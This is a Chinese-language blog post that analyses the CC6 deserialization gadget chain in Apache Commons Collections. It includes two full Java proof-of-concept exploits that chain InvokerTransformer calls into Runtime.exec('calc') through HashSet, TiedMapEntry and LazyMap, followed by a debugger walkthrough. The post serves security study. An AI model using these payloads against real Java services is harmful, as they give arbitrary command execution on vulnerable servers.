前言
在CC6链中和CC5的利用链类似,只是CC6链中使用的是HashSet
去触发LazyMap
的get方法,而在CC5中使用的是BadAttributeValueExpException
。
POC分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package cc6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class CC6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,Testtransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out")); objectOutputStream.writeObject(hashSet); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out")); objectInputStream.readObject();
} }
|
运行结果如下:
前面的代码和cc1、cc5链一致,看下不同的地方。
1 2 3 4
| HashSet hashSet=new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1");
|
使用的是HashSet
来进行构造,将前面的TiedMapEntry
实例化对象添加进去,还调用了lazyMap.remove
方法将test1
给移除,这是为了能进入到判断语句里面去。
接下来进行调试分析,在HashSet#readObject()
方法中打下断点
在Hashset
的readObject
方法中,回去调用map
的put
方法。
这里调用的是Hashmap
的put
方法,跟进一下该方法。
方法中会调用hash()
方法,跟进到hash()
方法中,发现会调用key.hashCode()
方法
hashcode
还会去调用getValue()
方法
进入getValue()
方法,后续的分析就和cc5一致了
利用链
1 2 3 4 5
| HashSet.readObject->HashMap.put ->HashMap.hash->TiedMapEntry.hashCode ->TiedMapEntry.getValue->LazyMap.get ->ChainedTransformer.transform->InvokerTransformer.transform ->Runtime.exec
|
补充
poc2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package cc6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class cc6Test { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer( "getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"} ) }; Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"test1"); Map expMap = new HashMap();
expMap.put(tiedMapEntry,"cc6");
outerMap.remove("test1");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer"); Field field = clazz.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer,transformers); byte[] bytes = serialize(expMap); unserialize(bytes); } public static void unserialize(byte[] bytes) throws Exception{ try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes); ObjectInputStream oin = new ObjectInputStream(bain)){ oin.readObject(); } }
public static byte[] serialize(Object o) throws Exception{ try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(o); return baout.toByteArray(); } } }
|
参考
https://www.cnblogs.com/nice0e3/p/13892510.html
https://blog.csdn.net/rfrder/article/details/119739082